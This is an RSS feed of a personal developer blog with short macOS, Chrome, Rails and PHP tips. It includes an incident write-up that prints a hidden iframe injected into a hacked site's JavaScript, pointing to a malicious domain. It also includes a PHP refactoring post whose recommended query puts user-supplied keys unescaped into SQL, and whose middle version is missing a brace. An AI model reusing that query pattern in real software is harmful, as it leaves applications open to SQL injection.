<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Madproject</title>
	<atom:link href="http://madproject.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://madproject.com</link>
	<description>A blog about my findings in IT, progamming, design, art, surfing and anything else that makes the world go &#039;round!</description>
	<lastBuildDate>Wed, 22 Feb 2012 02:55:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>The Grains &#8211; Motorhome</title>
		<link>http://madproject.com/general/the-grains-motorhome/</link>
		<comments>http://madproject.com/general/the-grains-motorhome/#comments</comments>
		<pubDate>Wed, 22 Feb 2012 02:55:06 +0000</pubDate>
		<dc:creator>Trev</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://madproject.com/?p=222</guid>
		<description><![CDATA[http://www.youtube.com/watch?v=8zXs6dc_btU The Grains, a great band from Byron Bay]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.youtube.com/watch?v=8zXs6dc_btU">http://www.youtube.com/watch?v=8zXs6dc_btU</a></p>
<p>The Grains, a great band from Byron Bay</p>
]]></content:encoded>
			<wfw:commentRss>http://madproject.com/general/the-grains-motorhome/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Magento PHP Extension &#8220;mcrypt&#8221; must be loaded &#8211; Mac OSX Lion</title>
		<link>http://madproject.com/general/magento-php-extension-mcrypt-must-be-loaded-mac-osx-lion/</link>
		<comments>http://madproject.com/general/magento-php-extension-mcrypt-must-be-loaded-mac-osx-lion/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 00:49:54 +0000</pubDate>
		<dc:creator>Trev</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://madproject.com/?p=217</guid>
		<description><![CDATA[Ever try to setup Magento in a local dev. environment on your Mac? You might have encountered an error message: PHP extension &#8220;mcrypt&#8221; must be loaded Well we better load it then! This solution here worked perfectly for me: http://michaelgracie.com/2011/07/21/plugging-mcrypt-into-php-on-mac-os-x-lion-10-7]]></description>
			<content:encoded><![CDATA[<p>Ever try to setup Magento in a local dev. environment on your Mac? You might have encountered an error message: <strong>PHP extension &#8220;mcrypt&#8221; must be loaded</strong></p>
<p>Well we better load it then! This solution here worked perfectly for me: <a href="http://michaelgracie.com/2011/07/21/plugging-mcrypt-into-php-on-mac-os-x-lion-10-7" target="_blank">http://michaelgracie.com/2011/07/21/plugging-mcrypt-into-php-on-mac-os-x-lion-10-7</a></p>
]]></content:encoded>
			<wfw:commentRss>http://madproject.com/general/magento-php-extension-mcrypt-must-be-loaded-mac-osx-lion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Show hidden files on Mac OSX</title>
		<link>http://madproject.com/general/show-hidden-files-on-mac-osx/</link>
		<comments>http://madproject.com/general/show-hidden-files-on-mac-osx/#comments</comments>
		<pubDate>Tue, 03 Jan 2012 03:12:49 +0000</pubDate>
		<dc:creator>Trev</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://madproject.com/?p=212</guid>
		<description><![CDATA[Ever needed to show those hidden files in Finder? I&#8217;ve tested this successfully in both Snow Leopard and Lion. Throw these two lines in your ~/.bash_profile (if it doesn&#8217;t exist, just create it) Reload your .bash_profile. From within terminal: Type sf to show all hidden files Type hf to hide all typically hidden files]]></description>
			<content:encoded><![CDATA[<p>Ever needed to show those hidden files in Finder? I&#8217;ve tested this successfully in both Snow Leopard and Lion.</p>
<ol>
<li>Throw these two lines in your <strong>~/.bash_profile</strong> (if it doesn&#8217;t exist, just create it)</li>
<pre class="brush: plain; title: ; notranslate">
alias sf=&quot;defaults write com.apple.Finder AppleShowAllFiles true; killall Finder&quot;
alias hf=&quot;defaults write com.apple.Finder AppleShowAllFiles false; killall Finder&quot;
</pre>
<li>Reload your .bash_profile. From within terminal:</li>
<pre class="brush: plain; title: ; notranslate">
. ~/.bash_profile
</pre>
<li>Type <strong>sf</strong> to show all hidden files</li>
<li>Type <strong>hf</strong> to hide all typically hidden files</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://madproject.com/general/show-hidden-files-on-mac-osx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Getting Quicksilver to Launch at Startup on OSX Lion with a SSD</title>
		<link>http://madproject.com/general/getting-quicksilver-to-launch-at-startup-on-osx-lion-with-a-ssd/</link>
		<comments>http://madproject.com/general/getting-quicksilver-to-launch-at-startup-on-osx-lion-with-a-ssd/#comments</comments>
		<pubDate>Mon, 02 Jan 2012 23:41:24 +0000</pubDate>
		<dc:creator>Trev</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://madproject.com/?p=201</guid>
		<description><![CDATA[No Mac setup is complete without Quicksilver. If you&#8217;ve never heard of or used it before, I urge you to give it a try. It&#8217;s a lightning fast app launcher that&#8217;ll really increase your speed/productivity by reducing the amount of clicks/searching/typing you need to do to perform a task. I digress; I recently installed a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://madproject.com/wp-content/uploads/2012/01/qs_splash.png"><img src="http://madproject.com/wp-content/uploads/2012/01/qs_splash.png" alt="Quicksilver Splash" title="Quicksilver Splash" width="396" height="247" class="alignnone size-full wp-image-202" /></a></p>
<p>No Mac setup is complete without <a href="http://qsapp.com/" title="Quicksilver Launch App" target="_blank">Quicksilver</a>. If you&#8217;ve never heard of or used it before, I urge you to give it a try. It&#8217;s a lightning fast app launcher that&#8217;ll really increase your speed/productivity by reducing the amount of clicks/searching/typing you need to do to perform a task.</p>
<p>I digress; I recently installed a fresh version of OSX Lion on my machine and one of the first apps I installed was QS. However I quickly noticed that the <strong>Start at Login</strong> function wasn&#8217;t working very well &#8211;see not at all.</p>
<p><strong>Symptoms:</strong></p>
<ul>
<li>QS logo appears at startup, but never completely fades out</li>
<li>The QS hotkey (CTRL+space) works and brings up the prompt but any subsequent keystroke is ignored</li>
</ul>
<p>After a bit of searching I found the solution from <a href="http://groups.google.com/groups/profile?enc_user=2jBeExQAAABaplGQrcHyDDXy5qEwKcGrOPANdqfI6prRsqjc7uCt1A" title="Jon Stovell" target="_blank">Jon Stovell</a> on the <a href="http://groups.google.com/group/blacktree-quicksilver/browse_thread/thread/f1dea65cbf4d4d61/247c1d4b73546017?lnk=gst&#038;q=Quicksilver+initialisation+issue#247c1d4b73546017" title="Blacktree Quicksilver Google Group" target="_blank">blacktree-quicksilver google group</a>. It seems to affect OSX Lion setups and in particular machines using Solid State Drives or in my case a Solid State Hybrid Drive.</p>
<p><strong>For completeness sake, here is the solution:</strong></p>
<ol>
<li>Turn off the Start at login option in QS&#8217;s preferences.</li>
<li>Paste the text below into a new plain text file in TextEdit.</li>
<li>Save the file in ~/Library/LaunchAgents with a name like &#8220;QuicksilverStartAtLogin.plist&#8221;</li>
<li>QS will now automatically start on next login</li>
</ol>
<pre class="brush: plain; title: ; notranslate">
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&gt;
&lt;plist version=&quot;1.0&quot;&gt;
&lt;dict&gt;
  &lt;key&gt;Label&lt;/key&gt;
  &lt;string&gt;QuicksilverStartAtLogin&lt;/string&gt;
  &lt;key&gt;ProgramArguments&lt;/key&gt;
  &lt;array&gt;
    &lt;string&gt;/Applications/Quicksilver.app/Contents/MacOS/Quicksilver&lt;/string&gt;
  &lt;/array&gt;
  &lt;key&gt;RunAtLoad&lt;/key&gt;
  &lt;true/&gt;
&lt;/dict&gt;
&lt;/plist&gt;
</pre>
<p>Optionally, you can replace &lt;key&gt;RunAtLoad&lt;/key&gt; with &lt;key&gt;KeepAlive&lt;/key&gt; if you want QS to restart automatically if it ever crashes. </p>
<p>Happy QS&#8217;ing</p>
]]></content:encoded>
			<wfw:commentRss>http://madproject.com/general/getting-quicksilver-to-launch-at-startup-on-osx-lion-with-a-ssd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>brunno.in JS injection using WSO 2.2</title>
		<link>http://madproject.com/general/brunno-in-js-injection-using-wso-2-2/</link>
		<comments>http://madproject.com/general/brunno-in-js-injection-using-wso-2-2/#comments</comments>
		<pubDate>Wed, 14 Dec 2011 23:20:19 +0000</pubDate>
		<dc:creator>Trev</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://madproject.com/?p=187</guid>
		<description><![CDATA[A client recently gave me a call saying his website was throwing a malware warning when visited using Google Chrome. A bit of research indicated that somehow the attacker gained access to the site, installed a Web Shell script in *.js.php files and injected JS code into existing JS files. Google&#8217;s Webmaster Tools showed the [...]]]></description>
			<content:encoded><![CDATA[<p>A client recently gave me a call saying his website was throwing a malware warning when visited using Google Chrome.<br />
<div id="attachment_188" class="wp-caption alignnone" style="width: 310px"><a href="http://madproject.com/wp-content/uploads/2011/12/warning.png"><img src="http://madproject.com/wp-content/uploads/2011/12/warning-300x86.png" alt="Chrome Malware Warning" title="Chrome Malware Warning" width="300" height="86" class="size-medium wp-image-188" /></a><p class="wp-caption-text">Chrome Malware Warning</p></div></p>
<p>A bit of research indicated that somehow the attacker gained access to the site, installed a Web Shell script in *.js.php files and injected JS code into existing JS files.</p>
<p>Google&#8217;s Webmaster Tools showed the injected code in the JS file:<br />
<div id="attachment_192" class="wp-caption alignnone" style="width: 310px"><a href="http://madproject.com/wp-content/uploads/2011/12/injected.jpg"><img src="http://madproject.com/wp-content/uploads/2011/12/injected-300x73.jpg" alt="Injected JS" title="Injected JS" width="300" height="73" class="size-medium wp-image-192" /></a><p class="wp-caption-text">Injected JS</p></div></p>
<p>The above code, once processed, created an iframe that lead to another site that perhaps contained malicious code:</p>
<pre class="brush: plain; title: ; notranslate">
&lt;iframe frameborder=&quot;0&quot; width=&quot;10&quot; height=&quot;10&quot; src=&quot;http://brunno.in/showthread.php?t=37220338&quot;&gt;&lt;/iframe&gt;
</pre>
<p>The other file: *.js.php is Gzipped and base64 encoded. When inflated and decoded it shows to be a Web Shell script or more specifically WSO 2.2. This allows the attacker to access &#038; perform server based functions from the browser and easily <a href="http://en.wikipedia.org/wiki/Remote_file_inclusion" target="_blank">insert malicious code</a>.</p>
<p>You can find the inflated and decoded code here: <a href="https://gist.github.com/1479024" title="WSO 2.2">WSO 2.2</a></p>
<p>What do do?<br />
You can manually look through your files and remove all occurrences or if you have SSH access: remote to your server and use <a href="http://www.cs.columbia.edu/~tal/3261/fall07/handout/egrep_mini-tutorial.htm" title="egrep" target="_blank">egrep</a>/<a href="http://www.grymoire.com/Unix/Sed.html" title="SED" target="_blank">sed</a> to match the recurring pattern and remove.</p>
]]></content:encoded>
			<wfw:commentRss>http://madproject.com/general/brunno-in-js-injection-using-wso-2-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Enabling IPv6 in Google Chrome</title>
		<link>http://madproject.com/general/enabling-ipv6-in-google-chrome/</link>
		<comments>http://madproject.com/general/enabling-ipv6-in-google-chrome/#comments</comments>
		<pubDate>Fri, 28 Oct 2011 04:59:12 +0000</pubDate>
		<dc:creator>Trev</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://madproject.com/?p=178</guid>
		<description><![CDATA[Alright, this will be a quick post but I wanted to take 5 and write this out for prosperity and maybe somebody else will have a similar issue. I currently develop in RoR and PHP amongst other languages. For Rails I use Pow to quickly setup a development environment. For PHP I just set manually [...]]]></description>
			<content:encoded><![CDATA[<p>Alright, this will be a quick post but I wanted to take 5 and write this out for prosperity and maybe somebody else will have a similar issue.</p>
<p>I currently develop in RoR and PHP amongst other languages. For Rails I use <a href="http://pow.cx/" title="Pow" target="_blank">Pow</a> to quickly setup a development environment. For PHP I just set manually using the following instruction: <a href="http://remysharp.com/2007/01/06/how-to-setup-your-mac-web-development-environment/#configure_apache" title="How to setup your mac web development environment" target="_blank">How to setup your mac web development environment</a></p>
<p>The problem is when you use Pow, it kind of breaks your PHP development environments. So the quickest and <em>easiest</em> solution I found was to enable IPv6 in Apache so that your PHP dev. environments don&#8217;t conflict with Pow. Instructions on how to do this can be found here: <a href="http://blog.jerodsanto.net/2011/04/pow-and-apache-side-by-side/" title="Pow and Apache side by side" target="_blank">Pow and Apache side by side</a>.</p>
<p>All was good in the hood&#8230; until I ditched Firefox for Chrome. I used to use Firefox as my main browser, mainly due to Firebug. Recent developments such as Firefox&#8217;s rapid deployment schedule (Which I&#8217;m not a fan of, but that&#8217;s a whole other story) and high memory usage (I was hovering at 1.24gigs last I used FF with 5 tabs open) spurred me to change browsers.</p>
<p>In comes Google Chrome, life is good. Fast, small memory footprint, great built-in dev. tools&#8230; Life is good. But wait a minute, I can&#8217;t access my internal PHP dev. projects anymore. Turns out it has something to do with IPv6 and having the same DNS entry on your local machine and on the web&#8230; the exacts of it, I don&#8217;t know. But I&#8217;ve got a SOLUTION! If you&#8217;ve read this far, here it is:</p>
<p>Paste this in your Google Chrome address bar:<br />
<code>chrome://net-internals/#dns</code></p>
<p>Click on <strong>Enable IPv6</strong></p>
<p>All done! I haven&#8217;t thoroughly tested for symptoms like other pages not loading but so far so good. If you have any information regarding this, please feel to share.</p>
]]></content:encoded>
			<wfw:commentRss>http://madproject.com/general/enabling-ipv6-in-google-chrome/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 11 Ruby on Rails Learning Tools</title>
		<link>http://madproject.com/general/top-11-ruby-on-rails-learning-tools/</link>
		<comments>http://madproject.com/general/top-11-ruby-on-rails-learning-tools/#comments</comments>
		<pubDate>Wed, 05 Oct 2011 06:47:25 +0000</pubDate>
		<dc:creator>Trev</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://madproject.com/?p=126</guid>
		<description><![CDATA[About a year ago I decided it was time to start learning RoR (Ruby on Rails) with the ultimate goal being that it&#8217;d replace PHP in most of my projects. While I&#8217;m still not at that point, here&#8217;s a top 11 list of Ruby and Ruby on Rails tutorials, tools and resources that really helped [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://rubyonrails.org/" title="Ruby on Rails" target="_blank"><img src="http://madproject.com/wp-content/uploads/2011/10/Ruby_on_Rails-logo-e1317795462760.png" alt="Ruby on Rails Logo" title="Ruby on Rails Logo" width="258" height="329" class="alignleft size-full wp-image-145" /></a>About a year ago I decided it was time to start learning RoR (Ruby on Rails) with the ultimate goal being that it&#8217;d replace PHP in most of my projects. While I&#8217;m still not at that point, here&#8217;s a top 11 list of Ruby and Ruby on Rails tutorials, tools and resources that really helped me out!</p>
<p>One thing I didn&#8217;t expect when I started with Rails is its community: for such a relatively young framework, its community of devoted followers is a reflection of the technology itself. Having said that, this is by no means an exhaustive list of the resources that are out there. This is what worked for me and hopefully helps you too.</p>
<ol id="top11rails">
<li>
<h2><a href="http://ruby.railstutorial.org/" title="Rails Tutorial" target="_blank">Ruby on Rails Tutorial by Michael Hartl</a></h2>
</li>
<p><a href="http://ruby.railstutorial.org/" title="Rails Tutorial" target="_blank"><img src="http://madproject.com/wp-content/uploads/2011/10/railstutorial.jpg" alt="Rails Tutorial" title="Rails Tutorial" width="373" height="94" class="alignnone size-full wp-image-152" /></a><br />
Some people rather read to learn while other prefer to watch/listen to learn. I fit right in the middle. I feel each medium can sometimes better convey an idea or concept. This is where Rails Tutorial really scores for me.</p>
<p>Firstly, Michael is an excellent teacher, albeit very geeky. His screencasts are very informative without being over the top, they&#8217;re divided in tidy chapters and best of all he&#8217;s just plain good at explaining things. He stops and takes the time to explain all the important and somewhat harder to grasp concepts while giving you a great idea of how a professional programmer works. Tie this in with the book format of his tutorial and you&#8217;ve got a solid toolset to help you create your first Rails app.</p>
<li>
<h2><a href="http://railsforzombies.org/" title="Rails for Zombies" target="_blank">Rails for Zombies by Gregg Pollack @ Envy Labs</a></h2>
</li>
<p><a href="http://railsforzombies.org/" title="Rails for Zombies" target="_blank"><img src="http://madproject.com/wp-content/uploads/2011/10/railsforzombies.jpg" alt="Rails for Zombies" title="Rails for Zombies" width="373" height="94" class="alignnone size-full wp-image-154" /></a><br />
Not quite sure about Rails? Then try this out: it&#8217;s interactive, no installation required, works right out of your browser and it&#8217;s actually pretty fun. Did I mention it was free? It gives you a great but brief overview of what you can do with RoR and how you can do it.</p>
<li>
<h2><a href="http://railscasts.com/" title="Ruby on Rails Screencasts" target="_blank">RailsCasts by Ryan Bates</a></h2>
</li>
<p><a href="http://railscasts.com/" title="Ruby on Rails Screencasts" target="_blank"><img src="http://madproject.com/wp-content/uploads/2011/10/railscasts.jpg" alt="Railscasts" title="Railscasts" width="373" height="84" class="alignnone size-full wp-image-155" /></a><br />
Ryan releases a screencast every week or so focusing on RoR and RoR associated stuff such as Gems and release updates. They typically run between 8 to 15 minutes long and are really easy to follow and usually easy enough to understand by even the novice programmer.</p>
<li>
<h2><a href="http://tryruby.org/" title="Try Ruby" target="_blank">Try Ruby by Eric Allam &#038; Nick Walsh</a></h2>
</li>
<p><a href="http://tryruby.org/" title="Try Ruby" target="_blank"><img src="http://madproject.com/wp-content/uploads/2011/10/tryruby.jpg" alt="Try Ruby" title="Try Ruby" width="373" height="87" class="alignnone size-full wp-image-156" /></a><br />
Read, use, learn, remember. Putting in practice what you learned is a great way to not only remember but understand capabilities and limitations. Try Ruby is a great example of this. Nothing to install and free: Dead simple but beautifully so!</p>
<li>
<h2><a href="http://beginningruby.org/" title="Beginning Ruby" target="_blank">Beginning Ruby by Peter Cooper</a></h2>
</li>
<p><a href="http://beginningruby.org/" title="Beginning Ruby" target="_blank"><img src="http://madproject.com/wp-content/uploads/2011/10/beginningruby.jpg" alt="Beginning Ruby" title="Beginning Ruby" width="373" height="94" class="alignnone size-full wp-image-157" /></a><br />
Because Rails is basically an MVC(Model,View,Controller) framework for web development using Ruby it makes sense to know at least a little Ruby. Well this book by Peter Cooper is an absolute gem for learning Ruby. It&#8217;s very beginner friendly but some base knowledge of OOP(Object Oriented Programming) doesn&#8217;t go amiss. Well written, thick and chock-full of examples; I use it almost daily and not just to as an over-sized coaster for my end of day beer.</p>
<li>
<h2><a href="http://guides.rubyonrails.org/" target="_blank" title="Ruby on Rails Guides">Ruby on Rails Guides</a></h2>
</li>
<p><a href="http://guides.rubyonrails.org/" target="_blank" title="Ruby on Rails Guides"><img src="http://madproject.com/wp-content/uploads/2011/10/railsguides.jpg" alt="RailsGuides" title="RailsGuides" width="373" height="94" class="alignnone size-full wp-image-158" /></a><br />
This list wouldn&#8217;t be complete without mention of the Ruby on Rails Guides. Constantly being updated and to the point. They&#8217;re a great reference when you&#8217;re getting started and remain useful as new versions of RoR come out and your brain starts forgetting stuff.</p>
<li>
<h2><a href="http://pry.github.com/" target="_blank" title="PRY">PRY</a></h2>
</li>
<p><a href="http://pry.github.com/" target="_blank" title="PRY"><img src="http://madproject.com/wp-content/uploads/2011/10/pry.jpg" alt="Pry" title="Pry" width="373" height="94" class="alignnone size-full wp-image-166" /></a><br />
PRY is basically a fancy Interactive Ruby Shell (IRB) or Rails console for you to play in. It allows you to do all sorts of useful stuff like navigate through your code using everyday commands like ls and cd, runtime invocation to debug your application, get documentation right in the console for that new class/method you know nothing about&#8230; The list goes on and the best way to get an idea of just how powerful this gem is: watch these two awesome screencasts: <a href="http://vimeo.com/26391171" title="PRY Screencast" target="_blank">Joshua Cheek from CodeSchool</a> and <a href="http://railscasts.com/episodes/280-pry-with-rails" title="Pry Screencast" target="_blank">Ryan Bates from RailsCasts</a></p>
<li>
<h2><a href="http://api.rubyonrails.org/" target="_blank" title="Ruby on Rails Documentation">Ruby on Rails Documentation</a></h2>
</li>
<p><a href="http://api.rubyonrails.org/" target="_blank" title="Ruby on Rails Documentation"><img src="http://madproject.com/wp-content/uploads/2011/10/rorapi.jpg" alt="Ruby on Rails Documentation" title="Ruby on Rails Documentation" width="373" height="94" class="alignnone size-full wp-image-159" /></a><br />
Perhaps not always the best beginner tool, but it sure shines when you&#8217;re starting to &#8220;get the hang of it&#8221;. Ruby on Rails official API is obviously a great reference when you need to get down to the nitty gritty.</p>
<li>
<h2><a href="http://cukes.info/" target="_blank" title="Cucumber">Cucumber &#8211; Behaviour Driven Development</a></h2>
</li>
<p><a href="http://cukes.info/" target="_blank" title="Cucumber"><img src="http://madproject.com/wp-content/uploads/2011/10/cucumber.jpg" alt="Cucumber" title="Cucumber" width="373" height="94" class="alignnone size-full wp-image-160" /></a><br />
I wont explain here why or how it works but rather why it works so well for learning. First and foremost, there&#8217;s a pretty good chance you&#8217;ll use these tools as a professional programmer. Secondly it allows you to write out in plain english(or whatever language you prefer) how you want your app to behave. From there, the tests will fail(since you haven&#8217;t actually written code) and kind of guide your development process. It&#8217;s the guidance and natural flow BDD provides that helped me learn Rails.</p>
<li>
<h2><a href="https://github.com/rspec/rspec-rails" target="_blank" title="RSpec">RSpec &#8211; TDD of the BDD package</a></h2>
</li>
<p><a href="https://github.com/rspec/rspec-rails" target="_blank" title="RSpec"><img src="http://madproject.com/wp-content/uploads/2011/10/rspec.jpg" alt="RSpec" title="RSpec" width="373" height="94" class="alignnone size-full wp-image-161" /></a><br />
Very similar to the above RSpec is a bit more finer grain testing then Cucumber but they work hand in hand. RSpec is a Test Driven Development tool that allows you to write tests describing how your app should react to specific conditions. Once again, it really helps drive your project and allows you to refactor later without worrying you&#8217;re breaking your application.</p>
<li>
<h2><a href="http://freenode.net/irc_servers.shtml" target="_blank" title="Freenode IRC">#RubyOnRails on Freenode IRC</a></h2>
</li>
<p><a href="http://freenode.net/irc_servers.shtml" target="_blank" title="Freenode IRC"><img src="http://madproject.com/wp-content/uploads/2011/10/freenode.jpg" alt="Freenode" title="Freenode" width="373" height="94" class="alignnone size-full wp-image-162" /></a><br />
Sometimes you can &#8220;Google it&#8221; all you want and still come up empty handed. Sometimes you just need somebody to listen&#8230; an outsider with a fresh outlook and bigger brain. In these cases, the #RubyOnRails channel on the Freenode IRC network is a great place to start. Crowdsourcing at its best, there&#8217;s a good chance the combined wisdom of gem cutting conductors will have an answer for you!
</ol>
<p>That&#8217;s about it! I&#8217;m sure there are probably many more great resources out there and I&#8217;d love to know about them. If you liked(or not) this post, let me know what worked for you and share the love!</p>
]]></content:encoded>
			<wfw:commentRss>http://madproject.com/general/top-11-ruby-on-rails-learning-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Refactoring a user input generated SQL query</title>
		<link>http://madproject.com/programming/refactoring-a-user-input-generated-sql-query/</link>
		<comments>http://madproject.com/programming/refactoring-a-user-input-generated-sql-query/#comments</comments>
		<pubDate>Tue, 20 Sep 2011 07:29:18 +0000</pubDate>
		<dc:creator>Trev</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[array_keys()]]></category>
		<category><![CDATA[implode()]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[MySQL IN()]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Refactor]]></category>
		<category><![CDATA[Truth Table]]></category>

		<guid isPermaLink="false">http://madproject.com/?p=114</guid>
		<description><![CDATA[I&#8217;m sure many of your are familiar with PHPMyAdmin. In short it&#8217;s a nice frontend to MySQL written in PHP that enables you to visually manipulate your MySQL databases and underlying data. The reason I mention PHPMyAdmin is I recently needed to add a similar feature of PHPMyAdmin into one of my applications. The feature [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m sure many of your are familiar with <a href="http://www.phpmyadmin.net/home_page/index.php" title="PHPMyAdmin" target="_blank">PHPMyAdmin</a>. In short it&#8217;s a nice frontend to MySQL written in PHP that enables you to visually manipulate your MySQL databases and underlying data.</p>
<p>The reason I mention PHPMyAdmin is I recently needed to add a similar feature of PHPMyAdmin into one of my applications. The feature being: generate an SQL query based on users input from checkboxes.</p>
<p>The idea is simple: I want the user to be able to filter what type of orders will be displayed on the orders page by their payment status (Paid, Pending, Failed, Refunded)</p>
<p>When I&#8217;m not entirely clear on how to approach a problem programatically I tend to write it out in it&#8217;s longest version then refactor:</p>
<h2>The very long winded and definitely not the best approach:</h2>
<pre class="brush: php; title: ; notranslate">
$switch = false;
if(!isset($payment_status['paid']) || !isset($payment_status['pending']) || !isset($payment_status['failed']) || !isset($payment_status['refunded'])) { //One of them is unset so we can act
  if(isset($payment_status['paid']) &amp;&amp; $switch == false) {
    $switch = true;
    $sql .= &quot; AND (orders.payment_status = 'paid'&quot;;
    if(isset($payment_status['pending'])) {
      $sql .= &quot; OR orders.payment_status = 'pending'&quot;;
    }
    if(isset($payment_status['failed'])) {
      $sql .= &quot; OR orders.payment_status = 'failed'&quot;;
    }
    if(isset($payment_status['refunded'])) {
      $sql .= &quot; OR orders.payment_status = 'refunded'&quot;;
    }
    $sql .= &quot;)&quot;;
  }
  if(isset($payment_status['pending']) &amp;&amp; $switch == false) {
    $sql .= &quot; AND (orders.payment_status = 'pending'&quot;;
    if(isset($payment_status['failed'])) {
      $sql .= &quot; OR orders.payment_status = 'failed'&quot;;
    }
    if(isset($payment_status['refunded'])) {
      $sql .= &quot; OR orders.payment_status = 'refunded'&quot;;
    }
    $sql .= &quot;)&quot;;
  }
  if(isset($payment_status['failed']) &amp;&amp; $switch == false) {
    $sql .= &quot; AND (orders.payment_status = 'failed'&quot;;
    if(isset($payment_status['refunded'])) {
      $sql .= &quot; OR orders.payment_status = 'refunded'&quot;;
    }
    $sql .= &quot;)&quot;;
  }
  if(isset($payment_status['refunded']) &amp;&amp; $switch == false) {
    $sql .= &quot; AND orders.payment_status = 'refunded'&quot;;
  }
}
</pre>
<p>This solution basically enumerates each possibility and then adds the appropriate SQL query to the $sql variable that will then later be ran against the DB.</p>
<p>This is a poor solutions for many reasons, but chief amongst them:</p>
<ol>
<li>Very long winded and repetitive which goes against the <a href="http://en.wikipedia.org/wiki/Don%27t_repeat_yourself" title="DRY" target="_blank">DRY principle</a></li>
<li>Each time you add a new payment status the code snippet would grow down the line and it wouldn&#8217;t be long before it would be unmaintanable</li>
</ol>
<h2>The next refactored version looks a bit better:</h2>
<pre class="brush: php; title: ; notranslate">
if(!isset($payment_status['paid']) || !isset($payment_status['pending']) || !isset($payment_status['failed']) || !isset($payment_status['refunded'])) { //One of them is unset so we can act
  $sql .= &quot; AND (0 = 1&quot;;
  if (isset($payment_status['paid'])) {
      $sql .= &quot; OR orders.payment_status = 'paid'&quot;;
  if (isset($payment_status['pending'])) {
      $sql .= &quot; OR orders.payment_status = 'pending'&quot;;
  }
  if (isset($payment_status['failed'])) {
      $sql .= &quot; OR orders.payment_status = 'failed'&quot;;
  }
  if (isset($payment_status['refunded'])) {
      $sql .= &quot; OR orders.payment_status = 'refunded'&quot;;
  }
  $sql .= &quot;)&quot;;
}
</pre>
<p>What we&#8217;re doing here is we&#8217;re forcing the OR by adding 0 = 1 which will always return false. This then allows us to create a statement made completely with OR instead of AND like we were using in the first example which lead us to repeat ourselves. This is based on a <a href="http://en.wikipedia.org/wiki/Truth_table#Truth_table_for_most_commonly_used_logical_operators" title="Truth Table" target="_blank">truth table</a>, check it out if you want more information.</p>
<p>Having said that, I think we can still do better!</p>
<h2>Last and definitely <span style="text-decoration: line-through;">not</span> least we have:</h2>
<pre class="brush: php; title: ; notranslate">
$sql .= &quot; AND orders.payment_status IN('&quot;.implode(&quot;','&quot;,array_keys($payment_status)).&quot;')&quot;;
</pre>
<p>Down from 37 lines to 1. Now that&#8217;s refactoring.</p>
<p>Let&#8217;s break it down:</p>
<ol>
<li>We use the MySQL operator <a href="http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html#function_in" title="MySQL IN" target="_blank">IN()</a> to <em>Check whether a value is within a set of values</em></li>
<li>We use PHP functions <a href="http://php.net/manual/en/function.implode.php" title="Implode" target="_blank">implode</a> and <a href="http://php.net/manual/en/function.array-keys.php" title="Array Keys" target="_blank">array_keys</a> to join the array keys(paid, pending, failed, refunded)  into a string joined by a comma therefore building our IN() values to check</li>
</ol>
<p>Say the user checked the paid and refunded boxes we&#8217;d get a query that would look like this:</p>
<pre class="brush: plain; title: ; notranslate">
 AND orders.payment_status IN('paid','refunded')&quot;;
</pre>
<h2>Conclusion</h2>
<p>Refactoring is cool!</p>
]]></content:encoded>
			<wfw:commentRss>http://madproject.com/programming/refactoring-a-user-input-generated-sql-query/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL query returning truncated results could be because of group_concat</title>
		<link>http://madproject.com/programming/mysql-query-returning-truncated-results-could-be-because-of-group_concat/</link>
		<comments>http://madproject.com/programming/mysql-query-returning-truncated-results-could-be-because-of-group_concat/#comments</comments>
		<pubDate>Thu, 07 Jul 2011 05:04:16 +0000</pubDate>
		<dc:creator>Trev</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Database]]></category>
		<category><![CDATA[GROUP_CONCAT]]></category>
		<category><![CDATA[group_concat_max_len]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://madproject.com/?p=104</guid>
